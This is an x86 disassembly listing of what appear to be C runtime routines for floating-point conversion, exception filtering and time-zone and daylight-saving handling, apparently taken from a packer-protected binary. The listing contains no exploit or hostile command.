; ---------------------------------------------------------------------------


loc_420588:				; CODE XREF: sub_4204E2+98j
		cmp	ebx, eax
		jg	short loc_4205CB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420413
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_420455
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		add	esp, 20h


loc_4205C4:				; CODE XREF: sub_4204E2+A4j
		xor	esi, esi
		jmp	loc_420547
; ---------------------------------------------------------------------------


loc_4205CB:				; CODE XREF: sub_4204E2+A8j
		cmp	ebx, [edi]
		jl	short loc_4205F7
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_4205F7:				; CODE XREF: sub_4204E2+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_420455
		pop	ecx
		pop	ecx


loc_42060E:				; CODE XREF: sub_4204E2+55j
		xor	eax, eax


loc_420610:				; CODE XREF: sub_4204E2+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42063F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_420649
; ---------------------------------------------------------------------------


loc_42063F:				; CODE XREF: sub_4204E2+14Ej
		cmp	edi, 20h
		jnz	short loc_420649
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_420649:				; CODE XREF: sub_4204E2+15Bj
					; sub_4204E2+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4204E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42064E	proc near		; CODE XREF: sub_42067A+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF40
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_42064E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420664	proc near		; CODE XREF: sub_4206A7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF58
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_420664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42067A	proc near		; CODE XREF: sub_41C92F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42064E
		add	esp, 24h
		leave
		retn
sub_42067A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A7	proc near		; CODE XREF: sub_41C92F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420664
		add	esp, 24h
		leave
		retn
sub_4206A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206D4	proc near		; CODE XREF: sub_41C96D+65p
					; sub_41CA71+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_420711
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_4206F7:				; CODE XREF: sub_4206D4+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_420703
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420706
; ---------------------------------------------------------------------------


loc_420703:				; CODE XREF: sub_4206D4+27j
		push	30h
		pop	edx


loc_420706:				; CODE XREF: sub_4206D4+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4206F7
		mov	edx, [ebp+arg_8]


loc_420711:				; CODE XREF: sub_4206D4+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_42072A
		cmp	byte ptr [ecx],	35h
		jl	short loc_42072A


loc_42071D:				; CODE XREF: sub_4206D4+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_420728
		mov	byte ptr [eax],	30h
		jmp	short loc_42071D
; ---------------------------------------------------------------------------


loc_420728:				; CODE XREF: sub_4206D4+4Dj
		inc	byte ptr [eax]


loc_42072A:				; CODE XREF: sub_4206D4+42j
					; sub_4206D4+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_420734
		inc	dword ptr [edx+4]
		jmp	short loc_420746
; ---------------------------------------------------------------------------


loc_420734:				; CODE XREF: sub_4206D4+59j
		push	edi
		call	sub_417AB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4182C0
		add	esp, 10h


loc_420746:				; CODE XREF: sub_4206D4+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4206D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42074B	proc near		; CODE XREF: sub_41C96D+3Fp
					; sub_41CA71+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4207AF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_48A1E8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4219A9
		mov	dword_48A210, eax
		add	esp, 18h
		movsx	eax, byte_48A1EA
		mov	dword_48A208, eax
		pop	edi
		movsx	eax, word_48A1E8
		mov	dword_48A20C, eax
		mov	dword_48A214, offset dword_48A1EC
		mov	eax, offset dword_48A208
		pop	esi
		leave
		retn
sub_42074B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4207AF	proc near		; CODE XREF: sub_42074B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4207FD
		cmp	ebx, edi
		jz	short loc_4207F6
		lea	edi, [ecx+3C00h]
		jmp	short loc_42081E
; ---------------------------------------------------------------------------


loc_4207F6:				; CODE XREF: sub_4207AF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42081E
; ---------------------------------------------------------------------------


loc_4207FD:				; CODE XREF: sub_4207AF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420815
		cmp	edx, ebx
		jnz	short loc_420815
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_420860
; ---------------------------------------------------------------------------


loc_420815:				; CODE XREF: sub_4207AF+52j
					; sub_4207AF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_42081E:				; CODE XREF: sub_4207AF+45j
					; sub_4207AF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_420836:				; CODE XREF: sub_4207AF+A6j
		test	ecx, esi
		jnz	short loc_420857
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_420836
; ---------------------------------------------------------------------------


loc_420857:				; CODE XREF: sub_4207AF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_420860:				; CODE XREF: sub_4207AF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4207AF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_419CDA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42086E	proc near		; DATA XREF: ___:0043B918o
					; ___:0043C3E0o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_420891
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_420891
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_420891
		jmp	sub_41D4FC
; ---------------------------------------------------------------------------


loc_420891:				; CODE XREF: sub_42086E+Dj
					; sub_42086E+13j ...
		mov	eax, dword_48A218
		test	eax, eax
		jz	short loc_4208AE
		push	eax
		call	sub_42090A
		test	eax, eax
		pop	ecx
		jz	short loc_4208AE
		push	esi
		call	dword_48A218
		jmp	short loc_4208B0
; ---------------------------------------------------------------------------


loc_4208AE:				; CODE XREF: sub_42086E+2Aj
					; sub_42086E+35j
		xor	eax, eax


loc_4208B0:				; CODE XREF: sub_42086E+3Ej
		pop	esi
		retn	4
sub_42086E	endp

; ---------------------------------------------------------------------------
dword_4208B4	dd 42086E68h, 0FB3CE800h, 0A3900219h, 48A218h, 1835FFC3h
					; DATA XREF: ___:00426024o
		dd 900048A2h, 19FB29E8h
; ---------------------------------------------------------------------------
		add	al, bl

; =============== S U B	R O U T	I N E =======================================



sub_4208D2	proc near		; CODE XREF: sub_41CD45+6Bp
					; sub_41D256+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 25C0000h
		test	eax, eax
		jz	short loc_4208EA
		xor	esi, esi


loc_4208EA:				; CODE XREF: sub_4208D2+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208EE	proc near		; CODE XREF: sub_41D256+73p
					; sub_41D256+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28509BCh
		test	eax, eax
		jz	short loc_420906
		xor	esi, esi


loc_420906:				; CODE XREF: sub_4208EE+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42090A	proc near		; CODE XREF: sub_41D256+15Bp
					; sub_42086E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25B0B5Eh
		test	eax, eax
		jz	short loc_42091E
		xor	esi, esi


loc_42091E:				; CODE XREF: sub_42090A+10j
		mov	eax, esi
		pop	esi
		retn
sub_42090A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D4FC


loc_420922:				; CODE XREF: sub_41D4FC:loc_41D54Dj
		push	0Ah
		call	sub_41F885
		push	16h
		call	sub_421C3C
		pop	ecx
		pop	ecx
		push	3
		call	sub_419AF6
; END OF FUNCTION CHUNK	FOR sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_420939	proc near		; CODE XREF: sub_41D609:loc_41D648p
		cmp	dword_48A2D8, 0
		jnz	short locret_42094D
		call	sub_42094E
		inc	dword_48A2D8

locret_42094D:				; CODE XREF: sub_420939+7j
		retn
sub_420939	endp


; =============== S U B	R O U T	I N E =======================================



sub_42094E	proc near		; CODE XREF: sub_420939+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_48A220, ebp
		mov	dword_43C018, ebx
		mov	dword_43C008, ebx
		call	sub_421DAE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_420A77
		push	offset dword_48A228
		nop
		call	near ptr 2800000h
		cmp	eax, ebx
		jz	loc_420BA6
		mov	eax, dword_48A228
		mov	ecx, dword_48A27C
		imul	eax, 3Ch
		cmp	word_48A26E, bp
		push	1
		pop	edx
		mov	dword_43BF70, eax
		mov	dword_48A220, edx
		jz	short loc_4209C5
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43BF70, eax


loc_4209C5:				; CODE XREF: sub_42094E+69j
		cmp	word_48A2C2, bp
		jz	short loc_4209E9
		mov	eax, dword_48A2D0
		cmp	eax, ebp
		jz	short loc_4209E9
		sub	eax, ecx
		mov	dword_43BF74, edx
		imul	eax, 3Ch
		mov	dword_43BF78, eax
		jmp	short loc_4209F5
; ---------------------------------------------------------------------------


loc_4209E9:				; CODE XREF: sub_42094E+7Ej
					; sub_42094E+87j
		mov	dword_43BF74, ebp
		mov	dword_43BF78, ebp


loc_4209F5:				; CODE XREF: sub_42094E+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_424150
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43BFFC
		push	ebx
		push	offset dword_48A22C
		push	edi
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jz	short loc_420A32
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_420A32
		mov	eax, off_43BFFC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_420A3A
; ---------------------------------------------------------------------------


loc_420A32:				; CODE XREF: sub_42094E+D1j
					; sub_42094E+D7j
		mov	eax, off_43BFFC
		and	byte ptr [eax],	0


loc_420A3A:				; CODE XREF: sub_42094E+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43C000
		push	ebx
		push	offset dword_48A280
		push	edi
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jz	loc_420B9E
		cmp	[esp+14h+var_4], ebp
		jnz	loc_420B9E
		mov	eax, off_43C000
		and	byte ptr [eax+3Fh], 0
		jmp	loc_420BA6
; ---------------------------------------------------------------------------


loc_420A77:				; CODE XREF: sub_42094E+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_420BA6
		mov	eax, dword_48A2D4
		cmp	eax, ebp
		jz	short loc_420A9A
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420BA6


loc_420A9A:				; CODE XREF: sub_42094E+139j
		push	dword_48A2D4
		call	sub_417C3B
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_48A2D4, eax
		jz	loc_420BA6
		push	esi
		push	eax
		call	sub_4179C0
		push	3
		push	esi
		push	off_43BFFC
		call	sub_418C10
		mov	eax, off_43BFFC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_420AEF
		push	1
		inc	esi
		pop	edi


loc_420AEF:				; CODE XREF: sub_42094E+19Bj
		push	esi
		call	sub_417794
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43BF70, ecx


loc_420B06:				; CODE XREF: sub_42094E+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420B14
		cmp	al, bl
		jl	short loc_420B17
		cmp	al, 39h
		jg	short loc_420B17


loc_420B14:				; CODE XREF: sub_42094E+1BCj
		inc	esi
		jmp	short loc_420B06
; ---------------------------------------------------------------------------


loc_420B17:				; CODE XREF: sub_42094E+1C0j
					; sub_42094E+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43BF70
		add	ecx, eax
		mov	dword_43BF70, ecx


loc_420B35:				; CODE XREF: sub_42094E+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B42
		cmp	al, 39h
		jg	short loc_420B42
		inc	esi
		jmp	short loc_420B35
; ---------------------------------------------------------------------------


loc_420B42:				; CODE XREF: sub_42094E+1EBj
					; sub_42094E+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		pop	ecx
		mov	ecx, dword_43BF70
		add	ecx, eax
		mov	dword_43BF70, ecx


loc_420B5D:				; CODE XREF: sub_42094E+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B6A
		cmp	al, 39h
		jg	short loc_420B6A
		inc	esi
		jmp	short loc_420B5D
; ---------------------------------------------------------------------------


loc_420B6A:				; CODE XREF: sub_42094E+1CCj
					; sub_42094E+1F7j ...
		cmp	edi, ebp
		jz	short loc_420B76
		neg	ecx
		mov	dword_43BF70, ecx


loc_420B76:				; CODE XREF: sub_42094E+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43BF74, eax
		jz	short loc_420B9E
		push	3
		push	esi
		push	off_43C000
		call	sub_418C10
		mov	eax, off_43C000
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------


loc_420B9E:				; CODE XREF: sub_42094E+10Bj
					; sub_42094E+115j ...
		mov	eax, off_43C000
		and	byte ptr [eax],	0


loc_420BA6:				; CODE XREF: sub_42094E+40j
					; sub_42094E+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42094E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BAC	proc near		; CODE XREF: sub_41D609+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43BF74, edi
		jnz	short loc_420BC0


loc_420BB9:				; CODE XREF: sub_420BAC+148j
					; sub_420BAC+150j ...
		xor	eax, eax
		jmp	loc_420D0C
; ---------------------------------------------------------------------------


loc_420BC0:				; CODE XREF: sub_420BAC+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43C008
		jnz	short loc_420BDE
		cmp	eax, dword_43C018
		jz	loc_420CE0


loc_420BDE:				; CODE XREF: sub_420BAC+24j
		cmp	dword_48A220, edi
		jz	loc_420CB6
		movzx	ecx, word_48A2CE
		push	ecx
		cmp	word_48A2C0, di
		movzx	ecx, word_48A2CC
		push	ecx
		movzx	ecx, word_48A2CA
		push	ecx
		movzx	ecx, word_48A2C8
		push	ecx
		jnz	short loc_420C30
		movzx	ecx, word_48A2C4
		push	edi
		push	ecx
		movzx	ecx, word_48A2C6
		push	ecx
		movzx	ecx, word_48A2C2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_420C44
; ---------------------------------------------------------------------------


loc_420C30:				; CODE XREF: sub_420BAC+65j
		movzx	ecx, word_48A2C6
		push	ecx
		push	edi
		movzx	ecx, word_48A2C2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_420C44:				; CODE XREF: sub_420BAC+82j
		push	ebx
		call	sub_420D58
		movzx	eax, word_48A27A
		add	esp, 2Ch
		cmp	word_48A26C, di
		push	eax
		movzx	eax, word_48A278
		push	eax
		movzx	eax, word_48A276
		push	eax
		movzx	eax, word_48A274
		push	eax
		jnz	short loc_420C9E
		movzx	eax, word_48A270
		push	edi
		push	eax
		movzx	eax, word_48A272
		push	eax
		movzx	eax, word_48A26E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_420C93:				; CODE XREF: sub_420BAC+108j
		push	edi
		call	sub_420D58
		add	esp, 2Ch
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420C9E:				; CODE XREF: sub_420BAC+C8j
		movzx	eax, word_48A272
		push	eax
		push	edi
		movzx	eax, word_48A26E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_420C93
; ---------------------------------------------------------------------------


loc_420CB6:				; CODE XREF: sub_420BAC+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_420D58
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_420D58
		add	esp, 58h


loc_420CE0:				; CODE XREF: sub_420BAC+2Cj
					; sub_420BAC+F0j
		mov	edx, dword_43C00C
		mov	eax, dword_43C01C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_420D10
		cmp	ecx, edx
		jl	loc_420BB9
		cmp	ecx, eax
		jg	loc_420BB9
		cmp	ecx, edx
		jle	short loc_420D24
		cmp	ecx, eax
		jge	short loc_420D24


loc_420D0A:				; CODE XREF: sub_420BAC+166j
					; sub_420BAC+16Aj
		mov	eax, ebx


loc_420D0C:				; CODE XREF: sub_420BAC+Fj
					; sub_420BAC+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_420D10:				; CODE XREF: sub_420BAC+144j
		cmp	ecx, eax
		jl	short loc_420D0A
		cmp	ecx, edx
		jg	short loc_420D0A
		cmp	ecx, eax
		jle	short loc_420D24
		cmp	ecx, edx
		jl	loc_420BB9


loc_420D24:				; CODE XREF: sub_420BAC+158j
					; sub_420BAC+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_420D4B
		xor	ecx, ecx
		cmp	eax, dword_43C010
		setnl	cl


loc_420D47:				; CODE XREF: sub_420BAC+1AAj
		mov	eax, ecx
		jmp	short loc_420D0C
; ---------------------------------------------------------------------------


loc_420D4B:				; CODE XREF: sub_420BAC+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43C020
		setl	cl
		jmp	short loc_420D47
sub_420BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D58	proc near		; CODE XREF: sub_420BAC+99p
					; sub_420BAC+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420DF3
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420D83
		shl	esi, 2
		mov	eax, dword_43C020[esi]
		jmp	short loc_420D8C
; ---------------------------------------------------------------------------


loc_420D83:				; CODE XREF: sub_420D58+1Ej
		shl	esi, 2
		mov	eax, dword_43C054[esi]


loc_420D8C:				; CODE XREF: sub_420D58+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_420DC6
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_420DD0
; ---------------------------------------------------------------------------


loc_420DC6:				; CODE XREF: sub_420D58+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_420DD0:				; CODE XREF: sub_420D58+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_420E0E
		cmp	[ebp+arg_8], 0
		jnz	short loc_420DE4
		mov	esi, dword_43C024[esi]
		jmp	short loc_420DEA
; ---------------------------------------------------------------------------


loc_420DE4:				; CODE XREF: sub_420D58+82j
		mov	esi, dword_43C058[esi]


loc_420DEA:				; CODE XREF: sub_420D58+8Aj
		cmp	ecx, esi
		jle	short loc_420E0E
		sub	ecx, 7
		jmp	short loc_420E0E
; ---------------------------------------------------------------------------


loc_420DF3:				; CODE XREF: sub_420D58+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420E04
		mov	ecx, dword_43C020[eax*4]
		jmp	short loc_420E0B
; ---------------------------------------------------------------------------


loc_420E04:				; CODE XREF: sub_420D58+A1j
		mov	ecx, dword_43C054[eax*4]


loc_420E0B:				; CODE XREF: sub_420D58+AAj
		add	ecx, [ebp+arg_18]


loc_420E0E:				; CODE XREF: sub_420D58+7Cj
					; sub_420D58+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_420E3F
		mov	eax, [ebp+arg_1C]
		mov	dword_43C00C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43C008, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43C010, eax
		jmp	short loc_420E94
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420D58+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43C01C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43BF78
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43C020, eax
		jns	short loc_420E77
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43C020, eax
		jmp	short loc_420E88
; ---------------------------------------------------------------------------


loc_420E77:				; CODE XREF: sub_420D58+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_420E8E
		sub	eax, edx
		inc	ecx
		mov	dword_43C020, eax


loc_420E88:				; CODE XREF: sub_420D58+11Dj
		mov	dword_43C01C, ecx


loc_420E8E:				; CODE XREF: sub_420D58+126j
		mov	dword_43C018, ebx


loc_420E94:				; CODE XREF: sub_420D58+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420D58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E98	proc near		; CODE XREF: sub_41D797+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00420EC1 SIZE 0000009F BYTES

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_420EBB
		cmp	[ebp+arg_8], ebx
		jz	short loc_420EBB
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_420EC1
		mov	eax, [ebp+arg_0]
sub_420E98	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420EB4	proc near		; DATA XREF: Themida_:loc_5107F0o
					; Themida_:loc_51D9B2o
		cmp	eax, ebx
		jz	short loc_420EBB
		mov	[eax], bx


loc_420EBB:				; CODE XREF: sub_420E98+Cj
					; sub_420E98+11j ...
		xor	eax, eax


loc_420EBD:				; CODE XREF: sub_420E98+42j
					; sub_420E98+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420EB4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420E98


loc_420EC1:				; CODE XREF: sub_420E98+17j
		cmp	dword_48A0A8, ebx
		jnz	short loc_420EDC
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_420ED7
		movzx	ax, al
		mov	[ecx], ax


loc_420ED7:				; CODE XREF: sub_420E98+36j
					; sub_420E98+C0j
		push	1
		pop	eax
